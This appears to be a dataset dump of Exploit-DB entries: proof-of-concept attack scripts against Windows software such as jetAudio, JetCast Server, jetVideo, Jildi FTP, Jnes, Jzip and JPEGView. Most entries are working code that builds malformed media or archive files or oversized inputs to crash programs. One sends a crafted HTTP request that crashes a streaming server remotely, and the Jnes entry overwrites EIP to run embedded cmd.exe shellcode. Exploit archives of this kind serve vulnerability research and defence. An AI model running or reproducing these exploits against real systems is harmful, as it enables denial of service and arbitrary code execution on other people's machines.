deardaniel/secdata-raw huggingface dataset:
Exploit-DB #28079
Description: jetAudio 8.0.16.2000 Plus VX - '.wav' Crash (PoC)
Type: dos
Platform: windows
Date: 2013-09-04
Author: ariarat

Exploit:
# Exploit Title: jetAudio Version 8.0.16.2000 Plus VX - (.wav) - Crash POC
# Date: 03-09-2013
# Exploit Author: ariarat
# Software Link: http://www.jetaudio.com/download/
# Version: 8.0.16.2000 (Probably old version of software and the LATEST version too)
# Vendor Homepage: http://www.jetaudio.com
# Tested on: [ Windows XP sp3]
#============================================================================================
# After creating POC file (.wav),drag it to Player and click Play button!
#============================================================================================
# Contact :
#------------------
# Web Page : http://ariarat.blogspot.com
# Email    : mehdi.esmaeelpour@gmail.com
#============================================================================================

#!/usr/bin/python

string=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")

filename = "jetAudio.wav"
file = open(filename , "w")
file.write(string)
file.close()
Exploit-DB #35592
Description: jetAudio 8.1.3 Basic (mp3) - Crash (PoC)
Type: dos
Platform: windows
Date: 2014-12-23
Author: Drozdova Liudmila

Exploit:
# Exploit Title     	: jetAudio 8.1.3 Basic (Corrupted mp3) Crash POC
# Product				: jetAudio Basic
# Date              	: 8.12.2014
# Exploit Author    	: ITDefensor Vulnerability Research Team http://itdefensor.ru/
# Software Link     	: http://www.jetaudio.com/download/
# Vulnerable version	: 8.1.3 (Latest at the moment) and probably previous versions
# Vendor Homepage   	: http://www.jetaudio.com/
# Tested on         	: jetAudio 8.1.3 Basic installed on Windows 7 x64, Windows Server 2008, Windows 7 x86
# CVE 					: unknown at the moment
#============================================================================================
# Open created POC file (fault.mp3) with jetAudio
# Details
# 	(1e764.1df98): Access violation - code c0000005 (first chance)
#	First chance exceptions are reported before any exception handling.
#	This exception may be expected and handled.
#	jdl_id3lib!dami::io::BStringWriter::writeChars+0xbf9:
#	0aa6b8b9 8b4804          mov     ecx,dword ptr [eax+4] ds:002b:00000004=????????
#	0:000:x86> kb
#	ChildEBP RetAddr  Args to Child              
#	WARNING: Stack unwind information not available. Following frames may be wrong.
#	[PII_REDACTED] [PII_REDACTED] 00000000 jdl_id3lib!dami::io::BStringWriter::writeChars+0xbf9
#============================================================================================
#!/usr/bin/python
  
pocdata=("\x49\x44\x33\x00\x00\xC9\x00\x00\x00\x00\x41\x45\x4E\x43\x00\x00\x00\x00\x00\x00\x41\x45\x4E\x43\x00\x00\x00\x00\x00\x00\x41\x45\x4E\x43\x00\x00\x00\x00\x00\x00\x41\x45\x4E\x43\x00\x00\x00\x00\x00\x00\x41\x45\x4E\x43\x00\x00\x00\x00\x00\x00\xFF\x8E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x41\x47\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
  
mp3file = "fault.mp3"
file = open(mp3file , "w")
file.write(pocdata)
file.close()
Exploit-DB #46810
Description: jetAudio 8.1.7.20702 Basic - 'Enter URL' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-08
Author: Victor Mondragón

Exploit:
#Exploit Title:  jetAudio 8.1.7.20702 Basic - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-07
#Vendor Homepage: http://www.jetaudio.com/
#Software Link: http://www.jetaudio.com/download/
#Tested Version: 8.1.7.20702
#Tested on: Windows 7 Service Pack 1 x64 / Windows 10 Single Language x64

#Steps to produce the crash:
#1.- Run python code: jetAudio_8.1.7.20702.py
#2.- Open jetAudio.txt and copy content to clipboard
#2.- Open jetAudio 
#3.- Select Menu > Basic Controls > Open URL...
#4.- In "Enter URL" Paste ClipBoard after "http://" 
#5.- Click on "Ok"
#6.- Crashed

cod = "\x41" * 5000
f = open('jetAudio.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #10651
Description: JetAudio Basic 7.5.5.25 - '.asx' Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-12-25
Author: D3V!L FUCKER

Exploit:
#!/user/bin/perl
# Author: [D3V!L FUCKER]
# Version: [jetAudio v 7.5.5.25 Basic]
# Tested on: [windows vista sp0]
# Code :
my $file= "crash.asx";

my $boom= "http://"."AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" x 5000;

open($FILE,">>$file");

print $FILE "$boom";

close($FILE);

print "Done..!~#\n";
Exploit-DB #46819
Description: jetCast Server 2.0 - Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2019-05-10
Author: Victor Mondragón

Exploit:
#Exploit Title:  jetCast Server 2.0 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-09
#Vendor Homepage: http://www.jetaudio.com/
#Software Link: http://www.jetaudio.com/download/5fc01426-741d-41b8-a120-d890330ec672/jetAudio/Download/jetCast/build/JCS2000.exe
#Tested Version: 2.0
#Tested on: Windows 7 Service Pack 1 x64 

#Steps to produce the crash:
#1.- Run python code: jetCast_Server_2.0.py
#2.- Open jetCast.txt and copy content to clipboard
#2.- Open jetCast Server 
#3.- Select Config 
#4.- In "Log directory" Paste ClipBoard 
#5.- Click on "Ok"
#6.- Click on "Start"
#7.- Crashed

cod = "\x41" * 5000
f = open('jetCast.txt', 'w')
f.write(cod)
f.close()
Exploit-DB #4403
Description: JetCast Server 2.0.0.4308 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2007-09-13
Author: vCore

Exploit:
#!/usr/bin/python
"""     ____
__   __/ ___|___  _ __ ___
\ \ / / |   / _ \| '__/ _ \
 \ V /| |__| (_) | | |  __/
 \_/  \____\___/|_|  \___|     _
 _ __  _ __ ___  ___  ___ _ __ | |_ ___   _
| '_ \| '__/ _ \/ __|/ _ \ '_ \| __/ __| |_|
| |_) | | |  __/\__ \  __/ | | | |_\__ \  _
| .__/|_|  \___||___/\___|_| |_|\__|___/ |_|
|_|        _
      _  //
      \\//
GENRE: //\\PLOIT
     //  `
PROGRAM: JetCast Server 2.0.0.4308
EXPLOiT TYPE: 0day remote DoS exploit
EXPLOiT LANGUAGE: Python
DEBUG iNFO: [Module JSMP3OGG]
           EAX 100355B8 JSMP3OGG.100355B8
           ECX 00000007
           EDX 00002000
           EBX 00CB415A
           ESP 00DCDEC0
           EBP 00DCDECC
           ESI 00000000
           EDI 1002FA64 ASCII "Mozilla"
           EIP 1002737C JSMP3OGG.1002737C

           MOV AH,BYTE PTR DS:[ESI]; C0000005 (ACCESS VIOLATION)

Bug found / exploit written by vCore <share0005@o2.pl>
Tested on JetCast Server 2.0.0.4308 - Windows XP ServicePack2
 ____          _
 / ___|_     __| | ___   _
| |   / _ \ / _` |/ _ \ |_|
| |__| (_) | (_| |  __/  _
 \____\___/ \__,_|\___| |_|

"""
from time import sleep
from socket import *

target = '127.0.0.1'
port = 8000
buf = "A" * 4032

header = (
   'GET /%s.mp3 HTTP/1.0\r\n'
   'Host: %s\r\n'
   'User-Agent: WinampMPEG/5.19\r\n'
   'Accept: */*\r\n'
   'Icy-MetaData:1\r\n'
   'Connection: close\r\n') % (buf, target)

s = socket(AF_INET, SOCK_STREAM)
s.connect((target, port))
s.send(header)
sleep(2)
s.close()

print "DONE"

# milw0rm.com [2007-09-13]
Exploit-DB #18481
Description: jetVideo 8.0.2 - Denial of Service
Type: dos
Platform: windows
Date: 2012-02-10
Author: Senator of Pirates

Exploit:
# Exploit Title: [jetVideo Crash Exploit]
# Author: [Senator of Pirates]
# Email : [Senator.of.Pirates.team@gmail.com]
# Software Link: [http://www.jetaudio.com/download/jetvideo.html]
# Version: [8.0.2 Basic]
# Tested on: [Windows XP PS3 En]



header = "http://"
junk = "A" * 20000

payload = (header+junk)

f = open("Exploit.m3u","wb")
f.write(payload)
f.close()
Exploit-DB #32478
Description: jetVideo 8.1.1 - Basic '.wav' Local Crash (PoC)
Type: dos
Platform: windows
Date: 2014-03-24
Author: TUNISIAN CYBER

Exploit:
#!/usr/bin/python

#[+] Author: TUNISIAN CYBER
#[+] Exploit Title: jetVideo 8.1.1 Basic (.wav) Local Crash PoC
#[+] Date: 22-03-2014
#[+] Category: DoS/PoC
#[+] Tested on: WinXp/Windows 7 Pro
#[+] Vendor: http://www.jetaudio.com/download/jetvideo.html
#[+] Friendly Sites: na3il.com,th3-creative.com
#[+] Twitter: @TCYB3R
 
import os
os.system("color 02")

print"###########################################################"
print"#  Title: Light jetVideo 8.1.1 Basic (.wav) Local Crash PoC#"
print"#  Author: TUNISIAN CYBER                                  #"
print"#  Category: DoS/PoC                                       # "
print"###########################################################"
	
header=("\x2E\x73\x6E\x64\x00\x00\x01\x18\x00\x00\x42\xDC\x00\x00\x00\x01"
"\x00\x00\x1F\x40\x00\x00\x00\x00\x69\x61\x70\x65\x74\x75\x73\x2E"
"\x61\x75\x00\x20\x22\x69\x61\x70\x65\x74\x75\x73\x2E\x61\x75\x22"
"\x00\x31\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
 
filename = "jet.wav"
file = open(filename , "w")
file.write(header)
print "\n Files Created!\n"
file.close()
Exploit-DB #37187
Description: Jildi FTP Client - Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2015-06-03
Author: metacom

Exploit:
#!/usr/bin/python
#Exploit Title:Jildi FTP Client Buffer Overflow Poc
#Version:1.5.2 Build 1138
#Homepage:http://de.download.cnet.com/Jildi-FTP-Client/3000-2160_4-10562942.html
#Software Link:http://de.download.cnet.com/Jildi-FTP-Client/3001-2160_4-10562942.html?hasJs=n&hlndr=1&dlm=0
#Tested on:Win7 32bit EN-Ultimate
#Date found:     02.06.2015
#Date published: 02.06.2015
#Author:metacom

'''
===========
Description:
===========
JilidFTP is a powerful ftp-client program for Windows, it fast and reliable
and with lots of useful features. It supports multi-thread file upload or 
download , so you can upload or download several files at the same time. 
The job manager integrates with the Windows scheduler engine ,this provide
you more freedom and flexibility to upload or download your files. 
It can also traces changes within a local directory and apply these 
changes to remote ftp server .The user-friendly interface lets your 
software distribution, uploading files to a web-server, and providing
archives for various purposes more easily.

============
How to Crash:
============ 
Copy the AAAA...string from Jildi_FTP.txt to clipboard, open Jildi Ftp and press Connect
and paste it in the Option -- Name or Address --and press connect.

===============================================
Crash Analysis using WinDBG: Option --> Address
===============================================
(f6c.4fc): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=41414141 edx=7790660d esi=00000000 edi=00000000
eip=41414141 esp=000311cc ebp=000311ec iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??  
0:000> !exchain
0012ef40: 41414141
Invalid exception stack at 41414141

============================================
Crash Analysis using WinDBG: Option --> Name
============================================
(2ec.dac): Access violation - code c0000005 (!!! second chance !!!)
eax=00000000 ebx=00000000 ecx=41414141 edx=7790660d esi=00000000 edi=00000000
eip=41414141 esp=000311cc ebp=000311ec iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
41414141 ??              ???
0:000> !exchain
0012ef40: 41414141
Invalid exception stack at 41414141
'''
filename="Jildi_FTP.txt"
junk1="\x41" * 20000
buffer=junk1 
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()
Exploit-DB #43116
Description: Jnes 1.0.2 - Stack Buffer Overflow
Type: dos
Platform: windows
Date: 2017-11-03
Author: crash_manucoot

Exploit:
#!/usr/bin/env python
# coding: utf-8 
# Exploit Title: Jnes Version 1.0.2 Stack Buffer Overflow
# Date: 3-11-2017
# Exploit Author: crash_manucoot
# Contact: twitter.com/crash_manucoot
# Vendor Homepage: http://www.jabosoft.com/home
# Software Link: http://www.jabosoft.com/categories/3
# Version:  v1.0.2.15
# Tested on: Windows 7 Home Premium SP1 SPANISH
# Category: Windows Local Exploit
# How to use: open the emulator load any ROM go to options - cheats - add - Pro-Action Replay
# paste the contents of the open.txt in the box <address>-<value> click on ok
# you will get an error message click on ok close the cheat menu and bum


import struct

fuzzing = open('open.txt','w+')

eip = struct.pack('<I', 0x75744E2B) # (overwrites EIP with the address of user32.dll)

buffer = "A" * 812

nops = "\x90" * 20  #Nops

shellcode = (			#cmd.exe Shellcode
"\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x40\x1c\x8b\x04\x08"
"\x8b\x04\x08\x8b\x58\x08\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01"
"\xda\x8b\x72\x20\x01\xde\x41\xad\x01\xd8\x81\x38\x47\x65\x74"
"\x50\x75\xf4\x81\x78\x04\x72\x6f\x63\x41\x75\xeb\x81\x78\x08"
"\x64\x64\x72\x65\x75\xe2\x49\x8b\x72\x24\x01\xde\x66\x8b\x0c"
"\x4e\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x89\xd6\x31\xc9"
"\x51\x68\x45\x78\x65\x63\x68\x41\x57\x69\x6e\x89\xe1\x8d\x49"
"\x01\x51\x53\xff\xd6\x87\xfa\x89\xc7\x31\xc9\x51\x68\x72\x65"
"\x61\x64\x68\x69\x74\x54\x68\x68\x41\x41\x45\x78\x89\xe1\x8d"
"\x49\x02\x51\x53\xff\xd6\x89\xc6\x31\xc9\x51\x68\x65\x78\x65"
"\x20\x68\x63\x6d\x64\x2e\x89\xe1\x6a\x01\x51\xff\xd7\x31\xc9"
"\x51\xff\xd6")

fuzzing.write(buffer + eip + nops + shellcode)
Exploit-DB #20634
Description: John Roy Pi3Web 1.0.1 - Buffer Overflow
Type: dos
Platform: windows
Date: 2001-02-15
Author: joetesta

Exploit:
source: https://www.securityfocus.com/bid/2381/info


A buffer overflow vulnerability has been reported in John Roy Pi3Web web server. The ISAPI application within the server fails to properly handle user supplied input. Requesting a specially crafted URL will cause the buffer to overflow and possibly allow the execution of arbitrary code.

Pi3Web has also been known to disclose the physical path to the web root by requesting an invalid URL. 

http://target/isapi/tstisapi.dll?[a lot of 'A's]

http://localhost/[any string which causes a 404 error]
Exploit-DB #26733
Description: Jolix Media Player 1.1.0 - '.m3u' Denial of Service
Type: dos
Platform: windows
Date: 2013-07-10
Author: IndonesiaGokilTeam

Exploit:
#!/usr/bin/python
print """
 [+]Judul Ledakan:Jolix Media Player (.m3u) Denial of Service Exploit
 [+]Celah versi: Version 1.1.0
 [+]Mengunduh produk: http://www.jolixtools.com/downloads/jolix-media-player-setup.exe
 [+]Hari Tanggal Tahun: 09.07.2013
 [+]Penulis: IndonesiaGokilTeam
 [+]Dicoba di sistem operasi: Windows xp sp 3
 """

sampah = "\x41" * 1000
ledakan = sampah
  
try:
    rst= open("SampahMasyarakat.m3u",'w')
    rst.write(ledakan)
    rst.close()
    print("\nFile Sampah Masyarakat dibuat !\n")
except:
    print "Gagal"
Exploit-DB #29707
Description: JPEGView 1.0.29 - Crash (PoC)
Type: dos
Platform: windows
Date: 2013-11-19
Author: Debasish Mandal

Exploit:
Title: JPEGView - Image Viewer and Editor RCE POC
Date: 18 November'13
Author: Debasish Mandal ( https://twitter.com/debasishm89 )
Version: JPEGView v1.0.29
Download Link : http://sourceforge.net/projects/jpegview/
Vendor Patch : Patched in version v1.0.30
Issue Ticket : http://sourceforge.net/p/jpegview/bugs/31/
Release Note : http://sourceforge.net/projects/jpegview/files/jpegview/1.0.30/
Tested on: Windows XP SP2

A read access violation near function pointer call can be triggered by feeding a specially crafted 
image(width or height smaller than 65535 ) which could lead to code exec.

The file that causes the AV is attached:

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/29707.gif
Exploit-DB #12096
Description: Juke 4.0.2 - Denial of Service Multiple Files
Type: dos
Platform: windows
Date: 2010-04-06
Author: anonymous

Exploit:
# Exploit Title: Juke 4.0.2 DoS Multiple Files 
# Date: April 6, 2010
# Software Link: [http://www.wolosoft.com/en/download.html]
# Version: 4.0.2
# Tested on: Windows XP SP3
# Author: [anonymous]
#
# Juke will Crash when you run this script to make 
# a file with any of the following extensions
# .xm .nst .s3m .stm .mod
#
# Usage: Run Script -> Add file with + -> Press Play
#!/usr/bin/perl

my $music = "tunes.xm";
my $mic = "\x41" x 200;
 
print "Creating File . . .\n";
sleep(1);

open (FILE, ">$music");
print FILE "$mic";
close FILE;

print "\nIt's a mix between Jazz and Funk, it's called Junk!";
Exploit-DB #32899
Description: Jzip - Buffer Overflow (PoC) (SEH Unicode)
Type: dos
Platform: windows
Date: 2014-04-16
Author: motaz reda

Exploit:
#!/usr/bin/python
######################################################
# Exploit title: seh unicode buffer overflow (DOS)
# Date: 16/04/2014
# Exploit Author: motaz reda [motazkhodair[at]gmail.com]
# Software Link : http://www.jzip.com/
# Version: jZip v2.0.0.132900
# Tested On: Windows 7 ultimate
########################################################

import sys, os

filename = "vuln.zip"


buffer = "\x50\x4B\x03\x04\x14\x00\x00"
buffer += "\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
buffer += "\x00\x00\x00\x00\x00\x00\x00\x00"
buffer += "\xe4\x0f"
buffer += "\x00\x00\x00"

eo = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
eo += "\x12\x10\x00\x00"
eo += "\x02\x10\x00\x00"
eo += "\x00\x00"

cdf = "\x50\x4B\x01\x02\x14\x00\x14"
cdf += "\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
cdf += "\x00\x00\x00\x00\x00\x00\x00\x00\x00"
cdf += "\xe4\x0f"
cdf += "\x00\x00\x00\x00\x00\x00\x01\x00"
cdf += "\x24\x00\x00\x00\x00\x00\x00\x00"

payload = "A" * 862
payload += "\x42\x42" # NSEH
payload += "\x42\x42" # SEH
payload += "D" * 3198
payload += ".txt"


file  = open(filename, "w")

zipfile = buffer + payload + cdf + payload + eo

file.write(zipfile)
file.close()
Exploit-DB #12081
Description: Jzip 1.3 - '.zip' Unicode Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2010-04-06
Author: mr_me

Exploit:
<?php
/*
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Jzip v1.3 (.zip) Unicode buffer overflow 0day PoC
Date: 6/4/2010
Author: mr_me (http://net-ninja.net/)
Software Link: http://www.jzip.com/
Version: 1.3
Tested on: Windows XP SP3 En
Advisory: http://www.corelan.be:8800/advisories.php?id=10-021
Greetz to: Corelan Security Team
http://www.corelan.be:8800/index.php/security/corelan-team-members/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Note: 
jzip.exe and all associated modules are compiled with safeseh and combine that
with the unicode limitation proves very difficult for exploitation. We did not 
find a working unicode address, otherwise this vulnerability would have been 
alot more fun! The seven moons were not aligned as Ben puts it :)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Script provided 'as is', without any warranty.
Use for educational purposes only.
Do not use this code to do anything illegal !

Note : you are not allowed to edit/modify this code.  
If you do, Corelan cannot be held responsible for any damages this may cause.
*/

$lf_header = "\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00";

$cdf_header = "\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00".
"\x24\x00\x00\x00\x00\x00\x00\x00";

$efcdr_record = "\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00".
"\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00";

$___offset = 4064;
$___nseh = str_repeat("\x43",2);
$___seh = str_repeat("\x44",2);

$___exploit = str_repeat("\x41",810).
$___nseh.
$___seh;
$___exploit .= 
str_repeat("\x41",$___offset-strlen($___exploit)).
"\x2e\x74\x78\x74";

$_____b00m = $lf_header.$___exploit.$cdf_header.$___exploit.$efcdr_record;
file_put_contents("cst-jzip.zip",$_____b00m);
?>
Exploit-DB #6565
Description: K-Lite Mega Codec Pack 3.5.7.0 - Local Windows Explorer Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2008-09-25
Author: Aodrulez

Exploit:
K-Lite Mega Codec Pack based Local Windows Explorer DOS PoC.
Version:3.5.7.0

"vsfilter.dll"(Version 1.0.1.4) that comes bundled with the above Codec Pack
crashes when we try to use,select or even highlight the
attached "Test7.flv" file in Windows Explorer,causing Explorer
to Crash.



Greetz fly out to:
1]LiquidWorm : For being so nice.....n guiding me.. :)
2]str0ke : For goin thru all my silly e-mails.
3]Amforked() : My mentor.
------------------------------------------------------------------
By:       Aodrulez, 
    www.OrchidSeven.com, 
   aodrulez.blogspot.com.

Email: f3arm3d3ar@gmail.com
------------------------------------------------------------------

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/6565.rar (2008-test7.rar)

# milw0rm.com [2008-09-25]